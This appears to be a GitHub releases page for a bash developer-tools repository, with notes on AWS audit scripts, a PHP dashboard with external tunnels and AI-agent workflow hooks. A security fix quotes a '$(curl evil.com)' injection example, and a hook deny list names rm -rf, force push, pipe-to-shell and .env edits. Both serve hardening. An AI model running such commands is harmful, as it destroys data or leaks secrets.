Releases: blundergoat/devgoat-bash-scripts
v1.4.0
Highlights
This release adds three major systems: an AWS operations suite with shared auth handling, a dashboard tunnel system for exposing the dev UI externally, and a dual-agent workflow framework for both Claude Code and Codex. The dashboard gets tabbed AWS reports, shared UI patterns, and a Cloudflare quick-tunnel feature. The repo also gains CI validation, hook-based safety enforcement, and a regression eval suite seeded from real git history.
AWS Operations Suite
New: lib/aws/_aws-common.sh - shared helpers
All AWS scripts now source a shared library instead of duplicating auth and .env loading inline. Provides:
load_env_file()- safe .env parser (handles quotes, whitespace,exportprefix)require_aws_auth()/ensure_aws_cli()- credential validation before API calls- Dual auth modes: access keys from
.envOR AWS profile/SSO - Color constants,
require_cmd(),require_unix(),require_modern_bash() - Idempotent source guard (
_AWS_COMMON_LOADED)
New: lib/aws/aws-costs.sh (548 lines)
Cost Explorer analysis with service-level breakdown and resource inventory.
- Date range support:
aws-costs.sh,aws-costs.sh 2026-01,aws-costs.sh --start 2026-01 --end 2026-03 - Defaults to previous month + current MTD
- Groups costs by service, sorted by total spend
- EC2-Other sub-breakdown (NAT Gateway, EBS, Elastic IPs, data transfer)
- Resource inventory: ECS Fargate (with cost estimate), ALBs, WAF ACLs, RDS, NAT Gateways, Secrets Manager, S3 buckets
New: lib/aws/aws-rightsizing.sh (701 lines)
CloudWatch utilisation advisor for six resource types.
- RDS: CPU, memory, storage, connections, IOPS, latency - with downsize suggestions per instance class
- ECS Fargate: CPU/memory utilisation vs allocation, Fargate pricing estimates, downsize suggestions with savings calculation
- ALBs: request volume, 5xx error rate, response time, connection count, cost-justification assessment
- NAT Gateways: data transfer volume, cost projection, VPC endpoint suggestions
- EC2: CPU utilisation, network throughput
- CloudWatch Log Groups: storage size, retention policy audit, cost estimate
- Configurable thresholds:
CPU_LOW,CPU_HIGH,MEM_LOW,MEM_HIGH,STORAGE_HIGH,CONN_LOW
New: lib/aws/aws-security.sh (530 lines)
Read-only security posture scan covering eight AWS services.
- WAF: rule analysis (managed vs custom vs rate-based), traffic stats, cost breakdown, orphaned ACL detection
- Security Groups: 0.0.0.0/0 ingress detection with port-level severity (SSH/RDP = alert, HTTP/HTTPS = warn)
- IAM Users: MFA status, access key age with rotation warnings (>90d warn, >365d critical)
- S3: public access block audit per bucket
- RDS: public accessibility check
- EBS: unencrypted volume detection
- Secrets Manager: rotation status audit
- CloudTrail: logging status, multi-region coverage, CloudWatch integration
- Findings summary with counts by severity (alert/warn/info)
Changed: lib/aws/aws-cli.sh
Refactored from standalone script to _aws-common.sh consumer. Now supports:
- Terraform subcommand routing with auth-aware gating (skip auth for
help,fmt,validate) - AWS subcommand auth gating (skip auth for
help,configure,sso login/logout) execfor both aws and terraform calls (cleaner process lifecycle)
New: .env.example
Template for AWS credentials: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION.
Dashboard
New: Tunnel System (dashboard/tunnel.php)
Provider-agnostic tunnel management for exposing the dashboard externally.
- Cloudflare quick tunnel - one-click launch with cloudflared process lifecycle
- Manual URL - paste any tunnel URL (ngrok, localhost.run, Tailscale Funnel, custom)
- Recent URLs saved in localStorage (last 5, click to reuse)
- Live uptime timer with 20-second auto-refresh polling
- Inline connectivity tester (GET/HEAD) with curl preview and result alerts
- Browser notification when tunnel is ready
- Cloudflared log viewer
API endpoints added to index.php:
POST /api/tunnel/start,stop,configure,testGET /api/tunnel/status,logs
start-dev.sh cleanup trap - kills orphaned cloudflared on Ctrl+C. PID tracking at /tmp/{project-slug}-dashboard/tunnel-cloudflare.pid.
New: AWS Reports (dashboard/aws.php + dashboard/aws_ui.php)
Full AWS operations console accessible from the dashboard.
- Tabbed UI: Overview, Costs, Rightsizing, Security, CLI
- Overview cards with total cost, resource counts, health status
- Cost tab: service breakdown with proportional bar charts
- Rightsizing tab: utilisation heatmap by resource type
- Security tab: findings summary with color-coded severity
- CLI tab: raw shell wrapper for ad-hoc AWS commands
- Each tab retains last result until re-run
- Last-run status shows command, duration, timestamp
Changed: Shared UI Patterns
Reusable CSS classes added across dashboard pages:
.status-badge- dot + label indicator with optional pulse animation.result-alert- dismissible banner with colored left border, slide-in animation.collapsible-header/.collapsible-body- expand/collapse with rotating chevronfocus-visibleoutlines for keyboard navigation
Changed: Dashboard UX
- Terminal completion/stop now shows fixed alert banner above scrollable output
- Sidebar running indicator uses left accent border
- Welcome state centered flex layout
- Theme toggle changed to icon-only moon SVG
- Stop button disabled state neutralized (no longer pink/red tint)
AI Workflow System
New: Claude Code Workflow (CLAUDE.md rewrite)
CLAUDE.md rebuilt from 67 to 100 lines with structured execution loop:
- READ → CLASSIFY → ACT → VERIFY → LOG loop with concrete examples
- Autonomy tiers: Always (tests, lint, read) / Ask First (shared helpers, CONFIGURATION blocks, cross-domain, .github/instructions/) / Never (delete tests, .env, push main, commit unless asked)
- Definition of Done: 6 gates (syntax, tests, boundaries, logs, notes, grep-after-rename)
- Router table: 18 entries pointing to docs, skills, evals, instructions files
New: Codex Workflow (AGENTS.md, scripts/, docs/codex-playbooks/)
Codex-native runtime spec with validation infrastructure:
- AGENTS.md (154 lines) - execution loop, autonomy tiers, DoD, router table
scripts/context-validate.sh- validates router targets, playbook sections, footgun evidence, eval countsscripts/deny-dangerous.sh- policy documentation with--checkand--self-testmodesscripts/preflight-checks.sh- wraps root preflight + PHP lint + context validation + deny self-test- 5 codex playbooks in
docs/codex-playbooks/: preflight, debug-investigate, audit, research, code-review
New: Hook Enforcement (.claude/hooks/)
deny-dangerous.sh(PreToolUse) - blocks rm -rf, force push, push main, chmod 777, pipe-to-shell, .env edits, --no-verify, CONFIGURATION block edits. jq extraction with grep/sed fallbackstop-lint.sh(Stop) - runs bash -n + shellcheck on changed .sh files after every turn. Always exits 0 (non-zero causes infinite loops). Infinite loop guard- Permissions deny list in
settings.json:*git commit*and*git push*blocked at tool level before hooks fire
New: Skills (.claude/skills/)
5 skill definitions for Claude Code slash commands:
/preflight- RFC 2119 tiers (MUST: bash -n + shellcheck, SHOULD: bats + chmod, MAY: dependency audit)/code-review- structured review with convention checklist (renamed from/reviewto avoid built-in conflict)/debug-investigate- diagnosis-first with execution path tracing, hard gate before fixes/audit- 4-pass (discovery → verification → prioritisation → fabrication self-check)/research- deep codebase read with 3-risk minimum, hard gate before planning
New: Agent Evals (agent-evals/, codex-evals/)
5 regression tests seeded from real git history, mirrored for both agents:
- aws-empty-output-crash - jq parsing of null AWS output (commits 0c6c604, 00a00b9)
- repo-root-resolution-bug - dirname vs git rev-parse inconsistency (commit c72338a)
- aws-auth-ordering-bug - require_aws_auth called before ensure_aws_cli (commit 76d7fef)
- rename-grep-verification - stale references after start.sh → start-dev.sh rename (commit c72338a)
- cross-domain-dashboard-parsing - PHP parser breaks on absent report sections (commit 9bfc8b5)
New: CI Validation (.github/workflows/context-validation.yml)
PR checks for workflow asset integrity:
- CLAUDE.md line count (warn >100, error >150)
- All
.claude/skills/*/directories have SKILL.md - Local CLAUDE.md files under 20 lines
- Codex workflow validation via
scripts/context-validate.sh
New: Documentation
docs/architecture.md- codebase overview (47 lines): layout, runtime flows, constraints, trade-offsdocs/domain-reference.md- migrated from CLAUDE.md: common workflows, domain router, source patterns, logging paradigms, template contractsdocs/lessons.md- behavioural learning loop (empty, seeded with format)docs/guidelines-ownership-split.md- documents the AGENTS.md migration rationaledocs/footguns.md- expanded from 46 to 116 lines with file:line evidencelib/ai-cli/CLAUDE.md- local warnings for WSL PATH sanitisation and source patterntasks/handoff-template.md- session handoff template (Status, State, Decisions, Risks, Next Step)
New: AI Workflow Plan Documents
7 design documents committed to the repo root (00-1-ai-workflow-*.md):
- Improvement plan (v1.4, 715 lines) - full system architecture
- Article (v1.3, 242 lines) - narrative with real implementation data
- Cross...
v1.3.1
v1.3.1 Release Notes - DevGoat Bash Scripts
Release Date: March 1, 2026
Overview
This patch release is a cleanup/fix release focused on consistency and reliability:
- fixes stale script references introduced by prior layout changes,
- removes a temporary compatibility drift,
- and expands default port coverage in
port-check.
Dashboard Config Corrections
- Updated
dashboard/config.example.phpscript registry paths to current canonical locations:lib/dev/git-status.sh→lib/workflow/git-status.shlib/dev/git-checkout.sh→lib/workflow/git-change-branch.shlib/dev/port-check.sh→lib/health/port-check.sh
Port Check Improvements
- Expanded
lib/health/port-check.shdefault ports:37068086808711436
Documentation & Convention Alignment
- Cleaned stale references in:
README.mdAGENTS.md.github/instructions/dev.instructions.mddocs/bats-core.mddocs/footguns.md
- Removed obsolete domain/script references from active guidance (
lib/dev,lib/deps,lib/quality,lib/aws/deploy.sh, removedlib/quality/lint-shell.shmention, and oldlib/health/check-local.shreferences).
Maintenance/Test Alignment
- Removed obsolete strict-mode exception entry for non-existent
lib/health/check-local.shfromtests/test_helper.bash.
Full Changelog: v1.3.0...v1.3.1
v1.3.0
v1.3.0 Release Notes - DevGoat Bash Scripts
Release Date: March 1, 2026
Overview
This release focuses on simplifying the repo structure. Project-specific scripts have been removed, legacy compatibility wrappers have been deleted, and several directories have been consolidated. The repo is now leaner (104 -> 72 scripts) and every script is genuinely reusable across projects.
Structure Cleanup
The biggest change is removing everything that was too project-specific to be reusable:
Deleted directories:
lib/dev/- all 10 legacy compatibility wrappers removed outright (no deprecation period)lib/deps/- stacks already have their owndependencies-install.shanddependencies-update.shlib/quality/-preflight-checks.shis now standalone; lint dispatch scripts removedlib/db/- replaced bylib/stacks/*/rebuild-database.sh
Deleted project-specific scripts:
lib/workflow/- rebuild-full, rebuild-smart, setup-initial, setup-verify, stop-dev, switch-modelib/health/- report, check-local, check-remote, check-awslib/aws/- deploy, deploy-ecr-ecs, amplify-health-check, amplify-variables-get, amplify-variables-set
Current directory layout:
lib/
ai-cli/ # AI coding assistant installers/uninstallers
aws/ # AWS CLI, Terraform, S3, CloudFront, Secrets Manager, health check
codegen/ # Code map generator
docker/ # Docker Compose wrappers (up, down, restart, prune, logs, network, mounts)
health/ # API auth probe, GPU check, load test, port check
maintenance/ # Git cleanup, executable bits, zone identifiers, secret scanning
stacks/ # Per-language setup/deps/preflight/verify (go, node, php, python, rust)
tools/ # Bats, Ollama, Starship installers
workflow/ # Help index, git branch/status, sync-env
New Scripts
- Rust stack (
lib/stacks/rust/) - setup, verify, preflight-checks, dependencies-install, dependencies-update lib/docker/- up, down, restart, prune, logs-tail, network-heal, mount-doctorlib/health/- check-api-auth, check-gpu, load-test, port-checklib/aws/health-check.sh- comprehensive AWS infrastructure health check covering credentials, Secrets Manager, ECS, production API, DynamoDB, and CloudWatch logs. Moved from the oldlib/health/check-remote.sh
Changes
preflight-checks.shis standalone again** - self-contained 7-check quality gate (shebang, strict mode, executable bit, bash -n, shellcheck, no secrets staged, bats tests). No longer delegates to a deleted filegit-change-branch.shsafe switching - now runsgit add . && git stash && git fetchbefore checkout. Accidental branch switches are reversible withgit stash pop. Auto-restores the stash if checkout failshelp.shdelegates** tolib/workflow/help-index.shfor categorized script listing with keyword search- Dashboard drops ext-posix dependency - process management in
dashboard/index.phpnow uses shell-based helpers instead ofposix_kill()
Full Changelog: v1.2.0...v1.3.0
v1.2.0
v1.2.0 - DevEx Dashboard & Developer Scripts
This release brings the DevGoat DevEx Dashboard to life - a browser-based script runner for your projects - along with new developer scripts, expanded port scanning, and a batch of bug fixes.
Dashboard
The PHP dashboard (dashboard/start-dev.sh) is now fully functional with:
- Script runner UI - sidebar with categorized scripts, terminal output with ANSI color support, SSE streaming
- WSL Path Selector - switch target project via dropdown or custom path input, scripts run in the selected project's directory
- Copy button - grab terminal output to clipboard
- Config banner - warns when using the default example config, with a link to run Help
- Request logging - clean
[dashboard] RUN/DONE/STOPevents in the terminal, PHP TCP noise filtered out - Dynamic target badge - header badge updates to show the current target project folder name
- BlunderGOAT branding - logo in header, footer link to blundergoat.com
- Auto-config -
config.phpis auto-created fromconfig.example.phpon first run - Prompt system - scripts can prompt for user input (text or select), with an
optionalflag for inputs that can be left empty
New Scripts
| Script | Description |
|---|---|
lib/dev/git-status.sh |
Branch, recent commits, and working tree status at a glance |
lib/dev/git-checkout.sh |
Switch branches with automatic remote tracking |
Improvements
port-check.sh- default ports expanded from 5 to 10 (3000, 3306, 5432, 6379, 8000, 8080, 8081, 8082, 8899, 11434) covering MySQL, Postgres, Redis, PHP/Python dev servers, Go APIs, the dashboard, and Ollama. Now accepts comma-separated input:port-check.sh 3306,6379,8080dashboard/config.example.php- ships with real drop-in scripts organized intodevgoat-bash-scripts,Quick Info, andMaintenancecategories. Includes git-checkout with branch prompt and port-check with optional ports promptdashboard/start-dev.sh- defaults toDevGoat DevEx Dashboardproject name,SCRIPTS_DIRdefaults to.(project root)scan-secrets.sh- tightened grep patterns to reduce false positives (no more========separator and file path matches)
Bug Fixes
port-check.sh- crashed silently underset -euo pipefailwhengrep -oPfound nopid=info (non-root). Added|| truemake-scripts-executable.sh-git ... || cd ... && pwdoperator precedence caused REPO_ROOT to contain two paths with an embedded newline. Fixed with{ ...; }groupingscan-secrets.sh- broad[A-Za-z0-9/+=]{40}pattern matched separator lines and paths. Also fixed shellcheck subshell counter buglib/stacks/_common.sh- corrupt first line (e out #!/usr/bin/env bash) broke all stacks testslib/tools/install-starship.sh- removed unused YELLOW variable (shellcheck SC2034)dashboard/start-dev.sh- changed from hard-fail to auto-copyconfig.example.phpwhenconfig.phpis missing
Getting Started
# Start the dashboard
./dashboard/start-dev.sh
# Or with a custom project name
PROJECT_NAME="My Project" ./dashboard/start-dev.sh --port 9000Edit dashboard/config.php to add the scripts useful for your project. Run ./help.sh to see what's available.
Full Changelog: v1.1.0...v1.2.0
v1.1.0
v1.1.0 -Bug Fixes, Security Hardening & macOS Portability
Bug Fixes
((var++))crash underset -e-health-check-remote.shandsecrets-manager-health-check.shwould abort on the first successful or failed check because post-increment from 0 returns exit status 1. Replaced with$((var + 1)).lint-all.shreported false failures -git ls-filesincludes deleted-but-tracked files, so running the linter after deleting a script would fail. Now skips files that no longer exist on disk.- CRLF line endings broke all scripts on direct execution -Every file had Windows CRLF endings due to
core.autocrlf=true. Added.gitattributeswitheol=lfto enforce LF on all checkouts regardless of platform.
Security
.envno longer executed as shell code -stacks/_common.sh,aws-cli.sh, andterraform.shusedsource .envwhich would execute arbitrary commands (e.g.$(curl evil.com)). Replaced with safewhile IFS='=' readkey-value parsing.- Secrets masked in terminal output -
amplify-variables-set.shprinted raw variable values including DB passwords and API keys. Now shows****(N chars)instead. start-dev.shport cleanup is safer -Previously killed any process on configured ports with no checks, escalating tokill -9. Now shows PID, process name, and owner before killing, and only terminates processes owned by the current user.lint-all.sh --fixnow confirms before patching -Prompts fory/Nconfirmation before auto-applying shellcheck fixes viagit apply.
macOS Portability
sed -icompatibility -start-dev.shanduninstall-kiro-cli.shnow branch for BSD sed (sed -i "") vs GNU sed (sed -i).grep -Preplaced -docker-cleanup.shused Perl-compatible regex unavailable on macOS. Replaced with portablesed -n.- Timing no longer shows 0.0s -
_goat_now()helper detects whetherdatesupports nanoseconds and adjusts the math accordingly. Fixesstacks/_common.sh,preflight-checks.sh, and all stacks preflight scripts.
Removed
- Grok CLI scripts -Removed
install-grok.shanduninstall-grok.sh. The upstream@vibe-kit/grok-cliis unmaintained and broken since xAI deprecated its live search API (HTTP 410 since 2026-01-12).
Documentation
- Removed stale Grok references from
README.mdanddocs/code-map.md. - Fixed script counts in
code-map.md(ai-cli: 17→15, maintenance: 6→7, setup: 3→5). - Added missing scripts to
README.mdtables (5 maintenance, 4 dev,sync-env.sh,install-bats-core.sh). - Added root
preflight-checks.shtocode-map.md. - Fixed
gpu-check.shdescription -NVIDIA only, not Apple Silicon. - Added
((var++))andshow_help()gap footguns todocs/footguns.md. - Added
CHANGELOG.md. - Updated
.gitignore-added.claude/plans/,.claude/memory/,*.bak,.terraform/,*.tfstate*,.env.production.
v1.0.0
v1.0.0 - 2026-02-26
First stable release of devgoat-bash-scripts.
Included
lib/setup/install-bats-core.shas the primary Bats installer.lib/setup/install-bats.shshim that forwards toinstall-bats-core.sh.- Root
preflight-checks.shnow:- auto-installs Bats via
./lib/setup/install-bats-core.shwhen missing - runs Bats in non-interactive mode (
bats tests/ --recursive </dev/null)
- auto-installs Bats via
- Strict-mode exception coverage for Node stack scripts:
lib/stacks/node/preflight-checks.shlib/stacks/node/verify.sh
lib/codegen/generate-code-map.shannotated directory-style output (folder/ = description).- Bats documentation at
docs/bats-core.md.